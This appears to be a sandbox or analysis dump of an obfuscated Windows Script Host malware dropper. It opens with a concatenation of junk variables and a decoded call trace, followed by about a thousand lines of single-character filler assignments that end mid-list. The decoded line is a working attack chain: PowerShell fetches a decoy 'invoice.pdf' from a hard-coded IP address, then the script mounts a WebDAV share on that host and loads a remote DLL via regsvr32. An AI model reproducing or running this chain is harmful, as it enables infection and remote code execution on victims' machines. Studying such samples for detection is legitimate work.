ldmqwkerf + dtxhdhe + xisqb + ldmqwkerf + brlctnn + ehmmkyc + ldmqwkerf + dferb + ysnjqyrv + ldmqwkerf + tlbkqute + apanxz + uyrto + dtxhdhe + yyaou + ysnjqyrv + apanxz + ibpywldzy + fllpgo + kdhhs + ldmqwkerf + uyrto + lphpxzq + apanxz + ldmqwkerf + tqokph + qygdu + lphpxzq + frdhpn + fllpgo + mvdiicqt + mskvbmzv + dtsdkein + fllpgo + nzbljj + ldmqwkerf + qhfehol + qygdu + wihskzmrm + gndzbvdwx + uyrto + rzqtgsfvz + apanxz + apanxz + qygdu + tqgeq + juotgj + juotgj + lrhafz + irofq + btdalf + qhfehol + lrhafz + wvxxsersi + btdalf + qhfehol + lrhafz + qhfehol + zqaxcnxiq + qwtxsqiw + yuako + juotgj + fllpgo + mvdiicqt + mskvbmzv + dtsdkein + fllpgo + nzbljj + ldmqwkerf + qhfehol + qygdu + rzqtgsfvz + qygdu + haqqdgk + erdcc + erdcc + tlbkqute + apanxz + iyjhu + mcbhkgblp + apanxz + uyrto + lphpxzq + apanxz + ldmqwkerf + tqokph + qygdu + lphpxzq + frdhpn + fllpgo + mvdiicqt + mskvbmzv + dtsdkein + fllpgo + nzbljj + ldmqwkerf + qhfehol + qygdu + wihskzmrm + gndzbvdwx + erdcc + erdcc + nzbljj + tqokph + wihskzmrm + uyrto + juotgj + nzbljj + uyrto + mvdiicqt + ldmqwkerf + apanxz + uyrto + ysnjqyrv + tlbkqute + ldmqwkerf + uyrto + frdhpn + frdhpn + lrhafz + irofq + btdalf + qhfehol + lrhafz + wvxxsersi + btdalf + qhfehol + lrhafz + qhfehol + zqaxcnxiq + qwtxsqiw + yuako + owsqmlf + vxtngdweh + vxtngdweh + vxtngdweh + vxtngdweh + frdhpn + wihskzmrm + iyjhu + mskvbmzv + rtfltymjm + rtfltymjm + rtfltymjm + mcbhkgblp + dtsdkein + dtsdkein + apanxz + frdhpn + erdcc + erdcc + nzbljj + tqokph + wihskzmrm + uyrto + juotgj + nzbljj + uyrto + mcbhkgblp + ldmqwkerf + anfgipav + tlbkqute + mskvbmzv + mcbhkgblp + btdalf + zqaxcnxiq + uyrto + juotgj + tlbkqute + uyrto + frdhpn + frdhpn + lrhafz + irofq + btdalf + qhfehol + lrhafz + wvxxsersi + btdalf + qhfehol + lrhafz + qhfehol + zqaxcnxiq + qwtxsqiw + yuako + owsqmlf + vxtngdweh + vxtngdweh + vxtngdweh + vxtngdweh + frdhpn + wihskzmrm + iyjhu + mskvbmzv + rtfltymjm + rtfltymjm + rtfltymjm + mcbhkgblp + dtsdkein + dtsdkein + apanxz + frdhpn + wvxxsersi + lrhafz + btdalf + yuako + btdalf + zqaxcnxiq + aycklhm + vxtngdweh + irofq + lrhafz + btdalf + qwtxsqiw + zqaxcnxiq + qhfehol + wihskzmrm + kdhhs + kdhhs, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll",0,false) ➔ 0
14	}
15	ibpywldzy = "G";
16	ibpywldzy = "O";
17	ibpywldzy = "R";
18	ibpywldzy = "C";
19	ibpywldzy = "t";
20	ibpywldzy = "e";
21	ibpywldzy = "L";
22	ibpywldzy = "L";
23	ibpywldzy = "z";
24	ibpywldzy = "K";
25	ibpywldzy = "y";
26	ibpywldzy = "m";
27	ibpywldzy = "q";
28	ibpywldzy = "x";
29	ibpywldzy = "V";
30	ibpywldzy = "k";
31	ibpywldzy = "w";
32	ibpywldzy = "B";
33	ibpywldzy = "V";
34	ibpywldzy = "W";
35	ibpywldzy = "p";
36	ibpywldzy = "A";
37	ibpywldzy = "V";
38	ibpywldzy = "b";
39	ibpywldzy = "Y";
40	ibpywldzy = "P";
41	ibpywldzy = "n";
42	ibpywldzy = "v";
43	ibpywldzy = "M";
44	ibpywldzy = "m";
45	ibpywldzy = "A";
46	ibpywldzy = "F";
47	gndzbvdwx = "x";
48	gndzbvdwx = "f";
49	btdalf = "A";
50	btdalf = "Y";
51	btdalf = "X";
52	btdalf = "U";
53	btdalf = "y";
54	btdalf = "O";
55	btdalf = "j";
56	btdalf = "n";
57	btdalf = "g";
58	btdalf = "M";
59	btdalf = "t";
60	btdalf = "k";
61	btdalf = "X";
62	btdalf = "b";
63	btdalf = "X";
64	btdalf = "f";
65	btdalf = "R";
66	btdalf = "f";
67	btdalf = "n";
68	btdalf = "o";
69	btdalf = "C";
70	btdalf = "d";
71	btdalf = "m";
72	btdalf = "q";
73	btdalf = "l";
74	btdalf = "D";
75	btdalf = "W";
76	btdalf = "f";
77	btdalf = "t";
78	btdalf = "W";
79	btdalf = "v";
80	btdalf = "P";
81	btdalf = "g";
82	btdalf = "P";
83	btdalf = "b";
84	btdalf = "n";
85	btdalf = "g";
86	btdalf = "K";
87	btdalf = "u";
88	btdalf = "3";
89	xisqb = "D";
90	xisqb = "k";
91	xisqb = "i";
92	xisqb = "o";
93	xisqb = "K";
94	xisqb = "U";
95	xisqb = "c";
96	xisqb = "Q";
97	xisqb = "k";
98	xisqb = "W";
99	xisqb = "n";
100	xisqb = "k";
101	xisqb = "I";
102	xisqb = "g";
103	xisqb = "A";
104	xisqb = "L";
105	xisqb = "t";
106	xisqb = "M";
107	xisqb = "U";
108	xisqb = "T";
109	xisqb = "s";
110	xisqb = "G";
111	xisqb = "L";
112	xisqb = "X";
113	xisqb = "s";
114	xisqb = "n";
115	xisqb = "q";
116	xisqb = "i";
117	xisqb = "j";
118	xisqb = "U";
119	xisqb = "f";
120	xisqb = "o";
121	xisqb = "M";
122	xisqb = "m";
123	xisqb = "w";
124	xisqb = "A";
125	xisqb = "I";
126	xisqb = "k";
127	xisqb = "t";
128	xisqb = "g";
129	xisqb = "Y";
130	xisqb = "W";
131	pyaxlrr = "A";
132	pyaxlrr = "X";
133	pyaxlrr = "C";
134	zqaxcnxiq = "A";
135	zqaxcnxiq = "I";
136	zqaxcnxiq = "Z";
137	zqaxcnxiq = "H";
138	zqaxcnxiq = "B";
139	zqaxcnxiq = "c";
140	zqaxcnxiq = "A";
141	zqaxcnxiq = "F";
142	zqaxcnxiq = "h";
143	zqaxcnxiq = "N";
144	zqaxcnxiq = "T";
145	zqaxcnxiq = "r";
146	zqaxcnxiq = "w";
147	zqaxcnxiq = "f";
148	zqaxcnxiq = "2";
149	jjhzbs = "K";
150	jjhzbs = "q";
151	jjhzbs = "q";
152	jjhzbs = "q";
153	jjhzbs = "t";
154	jjhzbs = "E";
155	jjhzbs = "l";
156	jjhzbs = "M";
157	jjhzbs = "x";
158	jjhzbs = "l";
159	jjhzbs = "v";
160	jjhzbs = "r";
161	jjhzbs = "m";
162	jjhzbs = "T";
163	jjhzbs = "q";
164	jjhzbs = "f";
165	jjhzbs = "y";
166	jjhzbs = "w";
167	jjhzbs = "d";
168	jjhzbs = "Q";
169	jjhzbs = "Q";
170	jjhzbs = "D";
171	jjhzbs = "C";
172	jjhzbs = "Q";
173	jjhzbs = "t";
174	jjhzbs = "z";
175	jjhzbs = "x";
176	jjhzbs = "R";
177	jjhzbs = "z";
178	jjhzbs = "c";
179	jjhzbs = "j";
180	jjhzbs = "E";
181	jjhzbs = "n";
182	jjhzbs = "k";
183	jjhzbs = "I";
184	jjhzbs = "o";
185	jjhzbs = "i";
186	jjhzbs = "q";
187	jjhzbs = "W";
188	jjhzbs = "Z";
189	jjhzbs = "y";
190	jjhzbs = "_";
191	rtfltymjm = "S";
192	rtfltymjm = "y";
193	rtfltymjm = "Z";
194	rtfltymjm = "i";
195	rtfltymjm = "m";
196	rtfltymjm = "L";
197	rtfltymjm = "w";
198	vxtngdweh = "F";
199	vxtngdweh = "i";
200	vxtngdweh = "r";
201	vxtngdweh = "o";
202	vxtngdweh = "z";
203	vxtngdweh = "a";
204	vxtngdweh = "C";
205	vxtngdweh = "e";
206	vxtngdweh = "W";
207	vxtngdweh = "Y";
208	vxtngdweh = "p";
209	vxtngdweh = "q";
210	vxtngdweh = "q";
211	vxtngdweh = "d";
212	vxtngdweh = "l";
213	vxtngdweh = "A";
214	vxtngdweh = "g";
215	vxtngdweh = "M";
216	vxtngdweh = "M";
217	vxtngdweh = "L";
218	vxtngdweh = "y";
219	vxtngdweh = "W";
220	vxtngdweh = "C";
221	vxtngdweh = "c";
222	vxtngdweh = "k";
223	vxtngdweh = "F";
224	vxtngdweh = "z";
225	vxtngdweh = "Y";
226	vxtngdweh = "E";
227	vxtngdweh = "K";
228	vxtngdweh = "l";
229	vxtngdweh = "F";
230	vxtngdweh = "b";
231	vxtngdweh = "n";
232	vxtngdweh = "s";
233	vxtngdweh = "R";
234	vxtngdweh = "T";
235	vxtngdweh = "e";
236	vxtngdweh = "O";
237	vxtngdweh = "p";
238	vxtngdweh = "s";
239	vxtngdweh = "F";
240	vxtngdweh = "K";
241	vxtngdweh = "q";
242	vxtngdweh = "8";
243	mcbhkgblp = "r";
244	tqgeq = "c";
245	tqgeq = "g";
246	tqgeq = "j";
247	tqgeq = "C";
248	tqgeq = "o";
249	tqgeq = "j";
250	tqgeq = "l";
251	tqgeq = "c";
252	tqgeq = "d";
253	tqgeq = "W";
254	tqgeq = "l";
255	tqgeq = "m";
256	tqgeq = "D";
257	tqgeq = "Y";
258	tqgeq = ":";
259	vernkwnty = "I";
260	vernkwnty = "K";
261	vernkwnty = "X";
262	vernkwnty = "Y";
263	chnzryqx = "S";
264	chnzryqx = "A";
265	chnzryqx = "W";
266	chnzryqx = "F";
267	chnzryqx = "R";
268	chnzryqx = "y";
269	chnzryqx = "j";
270	chnzryqx = "L";
271	fllpgo = "O";
272	fllpgo = "y";
273	fllpgo = "U";
274	fllpgo = "u";
275	fllpgo = "e";
276	fllpgo = "f";
277	fllpgo = "C";
278	fllpgo = "s";
279	fllpgo = "u";
280	fllpgo = "b";
281	fllpgo = "I";
282	fllpgo = "M";
283	fllpgo = "U";
284	fllpgo = "b";
285	fllpgo = "J";
286	fllpgo = "E";
287	fllpgo = "h";
288	fllpgo = "D";
289	fllpgo = "y";
290	fllpgo = "b";
291	fllpgo = "c";
292	fllpgo = "t";
293	fllpgo = "m";
294	fllpgo = "y";
295	fllpgo = "b";
296	fllpgo = "q";
297	fllpgo = "u";
298	fllpgo = "J";
299	fllpgo = "F";
300	fllpgo = "w";
301	fllpgo = "x";
302	fllpgo = "C";
303	fllpgo = "t";
304	fllpgo = "J";
305	fllpgo = "i";
306	dtsdkein = "F";
307	dtsdkein = "b";
308	dtsdkein = "K";
309	dtsdkein = "B";
310	dtsdkein = "W";
311	dtsdkein = "o";
312	jpzhxmtu = "M";
313	jpzhxmtu = "U";
314	jpzhxmtu = "p";
315	jpzhxmtu = "i";
316	jpzhxmtu = "S";
317	jpzhxmtu = "r";
318	jpzhxmtu = "z";
319	jpzhxmtu = "A";
320	jpzhxmtu = "n";
321	jpzhxmtu = "J";
322	jpzhxmtu = "K";
323	mztap = "i";
324	mztap = "m";
325	mztap = "C";
326	mztap = "Y";
327	mztap = "u";
328	mztap = "Q";
329	vpzlqax = "g";
330	vpzlqax = "x";
331	vpzlqax = "m";
332	vpzlqax = "S";
333	vpzlqax = "D";
334	vpzlqax = "A";
335	vpzlqax = "E";
336	vpzlqax = "C";
337	vpzlqax = "z";
338	vpzlqax = "C";
339	vpzlqax = "k";
340	vpzlqax = "d";
341	vpzlqax = "E";
342	vpzlqax = "o";
343	vpzlqax = "i";
344	vpzlqax = "H";
345	vpzlqax = "q";
346	vpzlqax = "D";
347	vpzlqax = "A";
348	vpzlqax = "R";
349	vpzlqax = "c";
350	vpzlqax = "M";
351	vpzlqax = "S";
352	owsqmlf = "L";
353	owsqmlf = "b";
354	owsqmlf = "r";
355	owsqmlf = "d";
356	owsqmlf = "U";
357	owsqmlf = "J";
358	owsqmlf = "K";
359	owsqmlf = "v";
360	owsqmlf = "m";
361	owsqmlf = "w";
362	owsqmlf = "k";
363	owsqmlf = "Z";
364	owsqmlf = "X";
365	owsqmlf = "u";
366	owsqmlf = "w";
367	owsqmlf = "v";
368	owsqmlf = "c";
369	owsqmlf = "W";
370	owsqmlf = "L";
371	owsqmlf = "n";
372	owsqmlf = "D";
373	owsqmlf = "I";
374	owsqmlf = "u";
375	owsqmlf = "g";
376	owsqmlf = "b";
377	owsqmlf = "P";
378	owsqmlf = "n";
379	owsqmlf = "R";
380	owsqmlf = "p";
381	owsqmlf = "o";
382	owsqmlf = "O";
383	owsqmlf = "r";
384	owsqmlf = "l";
385	owsqmlf = "w";
386	owsqmlf = "h";
387	owsqmlf = "Z";
388	owsqmlf = "e";
389	owsqmlf = "N";
390	owsqmlf = "A";
391	owsqmlf = "D";
392	owsqmlf = "@";
393	lrhafz = "x";
394	lrhafz = "M";
395	lrhafz = "q";
396	lrhafz = "I";
397	lrhafz = "g";
398	lrhafz = "k";
399	lrhafz = "U";
400	lrhafz = "L";
401	lrhafz = "x";
402	lrhafz = "l";
403	lrhafz = "e";
404	lrhafz = "z";
405	lrhafz = "P";
406	lrhafz = "1";
407	nzbljj = "G";
408	nzbljj = "W";
409	nzbljj = "k";
410	nzbljj = "B";
411	nzbljj = "c";
412	nzbljj = "c";
413	tlbkqute = "k";
414	tlbkqute = "s";
415	tlbkqute = "E";
416	tlbkqute = "E";
417	tlbkqute = "u";
418	tlbkqute = "u";
419	tlbkqute = "E";
420	tlbkqute = "l";
421	tlbkqute = "i";
422	tlbkqute = "c";
423	tlbkqute = "s";
424	tlbkqute = "P";
425	tlbkqute = "f";
426	tlbkqute = "H";
427	tlbkqute = "z";
428	tlbkqute = "k";
429	tlbkqute = "g";
430	tlbkqute = "c";
431	tlbkqute = "m";
432	tlbkqute = "J";
433	tlbkqute = "G";
434	tlbkqute = "z";
435	tlbkqute = "J";
436	tlbkqute = "C";
437	tlbkqute = "m";
438	tlbkqute = "h";
439	tlbkqute = "s";
440	tlbkqute = "q";
441	tlbkqute = "J";
442	tlbkqute = "M";
443	tlbkqute = "I";
444	tlbkqute = "B";
445	tlbkqute = "x";
446	tlbkqute = "s";
447	qygdu = "G";
448	qygdu = "R";
449	qygdu = "U";
450	qygdu = "u";
451	qygdu = "g";
452	qygdu = "j";
453	qygdu = "h";
454	qygdu = "U";
455	qygdu = "E";
456	qygdu = "Z";
457	qygdu = "n";
458	qygdu = "c";
459	qygdu = "O";
460	qygdu = "w";
461	qygdu = "J";
462	qygdu = "K";
463	qygdu = "g";
464	qygdu = "e";
465	qygdu = "H";
466	qygdu = "b";
467	qygdu = "J";
468	qygdu = "i";
469	qygdu = "N";
470	qygdu = "p";
471	qygdu = "d";
472	qygdu = "t";
473	qygdu = "Y";
474	qygdu = "Q";
475	qygdu = "f";
476	qygdu = "m";
477	qygdu = "F";
478	qygdu = "u";
479	qygdu = "p";
480	wvxxsersi = "d";
481	wvxxsersi = "y";
482	wvxxsersi = "z";
483	wvxxsersi = "v";
484	wvxxsersi = "h";
485	wvxxsersi = "X";
486	wvxxsersi = "h";
487	wvxxsersi = "M";
488	wvxxsersi = "m";
489	wvxxsersi = "x";
490	wvxxsersi = "O";
491	wvxxsersi = "Q";
492	wvxxsersi = "W";
493	wvxxsersi = "i";
494	wvxxsersi = "i";
495	wvxxsersi = "l";
496	wvxxsersi = "I";
497	wvxxsersi = "h";
498	wvxxsersi = "R";
499	wvxxsersi = "4";
500	tqokph = "J";
501	tqokph = "y";
502	tqokph = "Q";
503	tqokph = "m";
504	anfgipav = "w";
505	anfgipav = "f";
506	anfgipav = "A";
507	anfgipav = "j";
508	anfgipav = "i";
509	anfgipav = "T";
510	anfgipav = "J";
511	anfgipav = "n";
512	anfgipav = "e";
513	anfgipav = "i";
514	anfgipav = "p";
515	anfgipav = "y";
516	anfgipav = "a";
517	anfgipav = "K";
518	anfgipav = "i";
519	anfgipav = "s";
520	anfgipav = "h";
521	anfgipav = "c";
522	anfgipav = "X";
523	anfgipav = "k";
524	anfgipav = "E";
525	anfgipav = "q";
526	anfgipav = "C";
527	anfgipav = "q";
528	anfgipav = "y";
529	anfgipav = "M";
530	anfgipav = "R";
531	anfgipav = "c";
532	anfgipav = "s";
533	anfgipav = "C";
534	anfgipav = "M";
535	anfgipav = "g";
536	raqqzdo = "w";
537	raqqzdo = "B";
538	raqqzdo = "j";
539	raqqzdo = "r";
540	raqqzdo = "X";
541	raqqzdo = "a";
542	raqqzdo = "a";
543	raqqzdo = "C";
544	raqqzdo = "H";
545	raqqzdo = "P";
546	raqqzdo = "Z";
547	raqqzdo = "R";
548	raqqzdo = "y";
549	raqqzdo = "i";
550	raqqzdo = "R";
551	raqqzdo = "j";
552	raqqzdo = "W";
553	raqqzdo = "G";
554	raqqzdo = "d";
555	raqqzdo = "j";
556	qwtxsqiw = "h";
557	qwtxsqiw = "Y";
558	qwtxsqiw = "0";
559	sdcmcrehv = "s";
560	sdcmcrehv = "u";
561	sdcmcrehv = "e";
562	sdcmcrehv = "Z";
563	sdcmcrehv = "V";
564	sdcmcrehv = "k";
565	sdcmcrehv = "s";
566	sdcmcrehv = "G";
567	sdcmcrehv = "p";
568	sdcmcrehv = "V";
569	sdcmcrehv = "T";
570	sdcmcrehv = "U";
571	sdcmcrehv = "u";
572	sdcmcrehv = "Z";
573	sdcmcrehv = "Q";
574	sdcmcrehv = "s";
575	sdcmcrehv = "G";
576	sdcmcrehv = "F";
577	sdcmcrehv = "N";
578	sdcmcrehv = "x";
579	sdcmcrehv = "G";
580	sdcmcrehv = "H";
581	sdcmcrehv = "T";
582	sdcmcrehv = "s";
583	sdcmcrehv = "Z";
584	sdcmcrehv = "F";
585	sdcmcrehv = "W";
586	sdcmcrehv = "m";
587	sdcmcrehv = "P";
588	sdcmcrehv = "S";
589	sdcmcrehv = "V";
590	sdcmcrehv = "y";
591	sdcmcrehv = "p";
592	sdcmcrehv = "n";
593	sdcmcrehv = "S";
594	sdcmcrehv = "O";
595	sdcmcrehv = "v";
596	sdcmcrehv = "A";
597	sdcmcrehv = "P";
598	wihskzmrm = "S";
599	wihskzmrm = "f";
600	wihskzmrm = "H";
601	wihskzmrm = "t";
602	wihskzmrm = "S";
603	wihskzmrm = "n";
604	wihskzmrm = "m";
605	wihskzmrm = "t";
606	wihskzmrm = "F";
607	wihskzmrm = "l";
608	wihskzmrm = "i";
609	wihskzmrm = "J";
610	wihskzmrm = "U";
611	wihskzmrm = "V";
612	wihskzmrm = "Q";
613	wihskzmrm = "k";
614	wihskzmrm = "Z";
615	wihskzmrm = "Z";
616	wihskzmrm = "i";
617	wihskzmrm = "v";
618	wihskzmrm = "Y";
619	wihskzmrm = "i";
620	wihskzmrm = "U";
621	wihskzmrm = "e";
622	wihskzmrm = "T";
623	wihskzmrm = "S";
624	wihskzmrm = "h";
625	wihskzmrm = "m";
626	wihskzmrm = "d";
627	wihskzmrm = "r";
628	wihskzmrm = "K";
629	wihskzmrm = "J";
630	wihskzmrm = "I";
631	wihskzmrm = "a";
632	wihskzmrm = "A";
633	wihskzmrm = "D";
634	wihskzmrm = "H";
635	wihskzmrm = "r";
636	wihskzmrm = "m";
637	wihskzmrm = "M";
638	wihskzmrm = "V";
639	wihskzmrm = "q";
640	wihskzmrm = "d";
641	yuako = "F";
642	yuako = "t";
643	yuako = "c";
644	yuako = "g";
645	yuako = "V";
646	yuako = "Q";
647	yuako = "J";
648	yuako = "t";
649	yuako = "h";
650	yuako = "a";
651	yuako = "T";
652	yuako = "F";
653	yuako = "A";
654	yuako = "P";
655	yuako = "f";
656	yuako = "q";
657	yuako = "V";
658	yuako = "h";
659	yuako = "5";
660	brlctnn = "I";
661	brlctnn = "a";
662	brlctnn = "K";
663	brlctnn = "S";
664	brlctnn = "p";
665	brlctnn = "G";
666	brlctnn = "e";
667	brlctnn = "p";
668	brlctnn = "P";
669	brlctnn = "e";
670	brlctnn = "B";
671	brlctnn = "n";
672	brlctnn = "m";
673	brlctnn = "F";
674	brlctnn = "W";
675	brlctnn = "X";
676	brlctnn = "q";
677	brlctnn = "X";
678	brlctnn = "V";
679	brlctnn = "Q";
680	brlctnn = "D";
681	brlctnn = "b";
682	brlctnn = "I";
683	brlctnn = "q";
684	brlctnn = "W";
685	brlctnn = "s";
686	brlctnn = "K";
687	brlctnn = "d";
688	brlctnn = "H";
689	brlctnn = "t";
690	brlctnn = "O";
691	brlctnn = "x";
692	brlctnn = "L";
693	brlctnn = "b";
694	uyrto = "F";
695	uyrto = "L";
696	uyrto = "r";
697	uyrto = "y";
698	uyrto = "U";
699	uyrto = "V";
700	uyrto = "m";
701	uyrto = "f";
702	uyrto = "o";
703	uyrto = "D";
704	uyrto = "o";
705	uyrto = "i";
706	uyrto = "B";
707	uyrto = "M";
708	uyrto = "I";
709	uyrto = "V";
710	uyrto = "M";
711	uyrto = "d";
712	uyrto = "a";
713	uyrto = "N";
714	uyrto = "x";
715	uyrto = "w";
716	uyrto = "U";
717	uyrto = " ";
718	gxcbiidup = "R";
719	gxcbiidup = "L";
720	gxcbiidup = "O";
721	gxcbiidup = "V";
722	gxcbiidup = "c";
723	gxcbiidup = "p";
724	gxcbiidup = "b";
725	gxcbiidup = "m";
726	gxcbiidup = "P";
727	gxcbiidup = "x";
728	haqqdgk = "T";
729	haqqdgk = "Q";
730	haqqdgk = "t";
731	haqqdgk = "t";
732	haqqdgk = "h";
733	haqqdgk = "a";
734	haqqdgk = "m";
735	haqqdgk = "g";
736	haqqdgk = "f";
737	haqqdgk = "Y";
738	haqqdgk = "Q";
739	haqqdgk = "D";
740	haqqdgk = "y";
741	haqqdgk = "V";
742	haqqdgk = "S";
743	haqqdgk = "z";
744	haqqdgk = "e";
745	haqqdgk = "z";
746	haqqdgk = "n";
747	haqqdgk = "\"";
748	ysnjqyrv = "l";
749	ysnjqyrv = "x";
750	ysnjqyrv = "z";
751	ysnjqyrv = "u";
752	ysnjqyrv = "S";
753	ysnjqyrv = "h";
754	ysnjqyrv = "K";
755	ysnjqyrv = "c";
756	ysnjqyrv = "B";
757	ysnjqyrv = "e";
758	ysnjqyrv = "R";
759	ysnjqyrv = "o";
760	ysnjqyrv = "Q";
761	ysnjqyrv = "C";
762	ysnjqyrv = "D";
763	ysnjqyrv = "o";
764	ysnjqyrv = "l";
765	ysnjqyrv = "u";
766	ldmqwkerf = "g";
767	ldmqwkerf = "G";
768	ldmqwkerf = "f";
769	ldmqwkerf = "I";
770	ldmqwkerf = "n";
771	ldmqwkerf = "j";
772	ldmqwkerf = "I";
773	ldmqwkerf = "p";
774	ldmqwkerf = "h";
775	ldmqwkerf = "G";
776	ldmqwkerf = "L";
777	ldmqwkerf = "I";
778	ldmqwkerf = "P";
779	ldmqwkerf = "Q";
780	ldmqwkerf = "j";
781	ldmqwkerf = "V";
782	ldmqwkerf = "z";
783	ldmqwkerf = "j";
784	ldmqwkerf = "n";
785	ldmqwkerf = "v";
786	ldmqwkerf = "Y";
787	ldmqwkerf = "e";
788	kdhhs = "S";
789	kdhhs = "p";
790	kdhhs = "v";
791	kdhhs = "X";
792	kdhhs = "y";
793	kdhhs = "b";
794	kdhhs = "E";
795	kdhhs = "Q";
796	kdhhs = "l";
797	irofq = "j";
798	irofq = "y";
799	irofq = "O";
800	irofq = "h";
801	irofq = "G";
802	irofq = "l";
803	irofq = "u";
804	irofq = "u";
805	irofq = "F";
806	irofq = "E";
807	irofq = "z";
808	irofq = "N";
809	irofq = "N";
810	irofq = "Z";
811	irofq = "A";
812	irofq = "9";
813	mvdiicqt = "i";
814	mvdiicqt = "W";
815	mvdiicqt = "R";
816	mvdiicqt = "f";
817	mvdiicqt = "d";
818	mvdiicqt = "M";
819	mvdiicqt = "R";
820	mvdiicqt = "d";
821	mvdiicqt = "r";
822	mvdiicqt = "Z";
823	mvdiicqt = "i";
824	mvdiicqt = "n";
825	mvdiicqt = "v";
826	mvdiicqt = "c";
827	mvdiicqt = "X";
828	mvdiicqt = "k";
829	mvdiicqt = "d";
830	mvdiicqt = "u";
831	mvdiicqt = "e";
832	mvdiicqt = "Z";
833	mvdiicqt = "Y";
834	mvdiicqt = "L";
835	mvdiicqt = "p";
836	mvdiicqt = "P";
837	mvdiicqt = "P";
838	mvdiicqt = "J";
839	mvdiicqt = "y";
840	mvdiicqt = "v";
841	mvdiicqt = "f";
842	mvdiicqt = "a";
843	mvdiicqt = "v";
844	mvdiicqt = "U";
845	mvdiicqt = "U";
846	mvdiicqt = "M";
847	mvdiicqt = "A";
848	mvdiicqt = "H";
849	mvdiicqt = "C";
850	mvdiicqt = "s";
851	mvdiicqt = "z";
852	mvdiicqt = "T";
853	mvdiicqt = "q";
854	mvdiicqt = "B";
855	mvdiicqt = "s";
856	mvdiicqt = "n";
857	dtxhdhe = "R";
858	dtxhdhe = "O";
859	dtxhdhe = "M";
860	dtxhdhe = "o";
861	dtxhdhe = "Y";
862	dtxhdhe = "I";
863	dtxhdhe = "R";
864	dtxhdhe = "Z";
865	dtxhdhe = "W";
866	dtxhdhe = "S";
867	dtxhdhe = "o";
868	dtxhdhe = "z";
869	dtxhdhe = "X";
870	dtxhdhe = "I";
871	dtxhdhe = "S";
872	dtxhdhe = "Z";
873	dtxhdhe = "Q";
874	dtxhdhe = "I";
875	dtxhdhe = "b";
876	dtxhdhe = "u";
877	dtxhdhe = "e";
878	dtxhdhe = "k";
879	dtxhdhe = "E";
880	dtxhdhe = "H";
881	dtxhdhe = "z";
882	dtxhdhe = "L";
883	dtxhdhe = "y";
884	dtxhdhe = "K";
885	dtxhdhe = "a";
886	dtxhdhe = "x";
887	dtxhdhe = "P";
888	dtxhdhe = "T";
889	dtxhdhe = "d";
890	dtxhdhe = "Y";
891	dtxhdhe = "-";
892	msnrfx = "d";
893	msnrfx = "E";
894	msnrfx = "W";
895	msnrfx = "E";
896	msnrfx = "o";
897	msnrfx = "Q";
898	msnrfx = "h";
899	msnrfx = "H";
900	msnrfx = "n";
901	msnrfx = "Z";
902	msnrfx = "T";
903	msnrfx = "I";
904	msnrfx = "B";
905	msnrfx = "w";
906	msnrfx = "Z";
907	msnrfx = "J";
908	msnrfx = "i";
909	msnrfx = "O";
910	msnrfx = "G";
911	msnrfx = "p";
912	msnrfx = "x";
913	msnrfx = "b";
914	msnrfx = "W";
915	msnrfx = "P";
916	msnrfx = "E";
917	msnrfx = "a";
918	msnrfx = "a";
919	msnrfx = "Y";
920	msnrfx = "H";
921	msnrfx = "T";
922	msnrfx = "Z";
923	msnrfx = "x";
924	msnrfx = "X";
925	msnrfx = "B";
926	msnrfx = "o";
927	msnrfx = "h";
928	msnrfx = "z";
929	msnrfx = "H";
930	msnrfx = "A";
931	msnrfx = "x";
932	msnrfx = "T";
933	mskvbmzv = "F";
934	mskvbmzv = "B";
935	mskvbmzv = "W";
936	mskvbmzv = "B";
937	mskvbmzv = "v";
938	lphpxzq = "e";
939	lphpxzq = "N";
940	lphpxzq = "V";
941	lphpxzq = "W";
942	lphpxzq = "c";
943	lphpxzq = "k";
944	lphpxzq = "o";
945	lphpxzq = "R";
946	lphpxzq = "A";
947	lphpxzq = "T";
948	lphpxzq = "B";
949	lphpxzq = "f";
950	lphpxzq = "Z";
951	lphpxzq = "Y";
952	lphpxzq = "c";
953	lphpxzq = "o";
954	lphpxzq = "t";
955	lphpxzq = "h";
956	lphpxzq = "I";
957	lphpxzq = "%";
958	frdhpn = "F";
959	frdhpn = "F";
960	frdhpn = "t";
961	frdhpn = "V";
962	frdhpn = "i";
963	frdhpn = "e";
964	frdhpn = "f";
965	frdhpn = "E";
966	frdhpn = "d";
967	frdhpn = "q";
968	frdhpn = "R";
969	frdhpn = "B";
970	frdhpn = "i";
971	frdhpn = "u";
972	frdhpn = "T";
973	frdhpn = "p";
974	frdhpn = "M";
975	frdhpn = "p";
976	frdhpn = "r";
977	frdhpn = "j";
978	frdhpn = "B";
979	frdhpn = "O";
980	frdhpn = "t";
981	frdhpn = "S";
982	frdhpn = "H";
983	frdhpn = "X";
984	frdhpn = "L";
985	frdhpn = "i";
986	frdhpn = "O";
987	frdhpn = "a";
988	frdhpn = "V";
989	frdhpn = "K";
990	frdhpn = "C";
991	frdhpn = "s";
992	frdhpn = "q";
993	frdhpn = "k";
994	frdhpn = "B";
995	frdhpn = "E";
996	frdhpn = "q";
997	frdhpn = "Y";
998	frdhpn = "F";
999	frdhpn = "l";
1000	frdhpn = "z";
1001	frdhpn = "Z";
1002	frdhpn = "\\";
1003	coqtwgju = "r";
1004	coqtwgju = "x";
1005	coqtwgju = "a";
1006	coqtwgju = "n";
1007	coqtwgju = "I";
1008	yyaou = "F";
1009	yyaou = "z";
1010	yyaou = "i";
1011	yyaou = "o";
1012	yyaou = "R";
1013	yyaou = "M";
1014	yyaou = "G";
1015	yyaou = "k";
1016	yyaou = "n";
1017	yyaou = "b";
1018	yyaou = "r";
1019	yyaou = "n";
1020	yyaou = "F";
1021	yyaou = "I";
1022	yyaou = "l";
1023	yyaou = "Q";
1024	yyaou = "P";
1025	yyaou = "q";
1026	yyaou = "K";
1027	yyaou = "E";
1028	yyaou = "F";
1029	yyaou = "V";
1030	yyaou = "w";
1031	yyaou = "d";
1032	yyaou = "O";
1033	iyjhu = "u";
1034	iyjhu = "t";
1035	iyjhu = "U";
1036	iyjhu = "Z";
1037	iyjhu = "i";
1038	iyjhu = "U";
1039	iyjhu = "u";
1040	iyjhu = "B";
1041	iyjhu = "k";
1042	iyjhu = "T";
1043	iyjhu = "U";
1044	iyjhu = "X";
1045	iyjhu = "p";
1046	iyjhu = "q";
1047	iyjhu = "a";
1048	rzqtgsfvz = "J";
1049	rzqtgsfvz = "E";
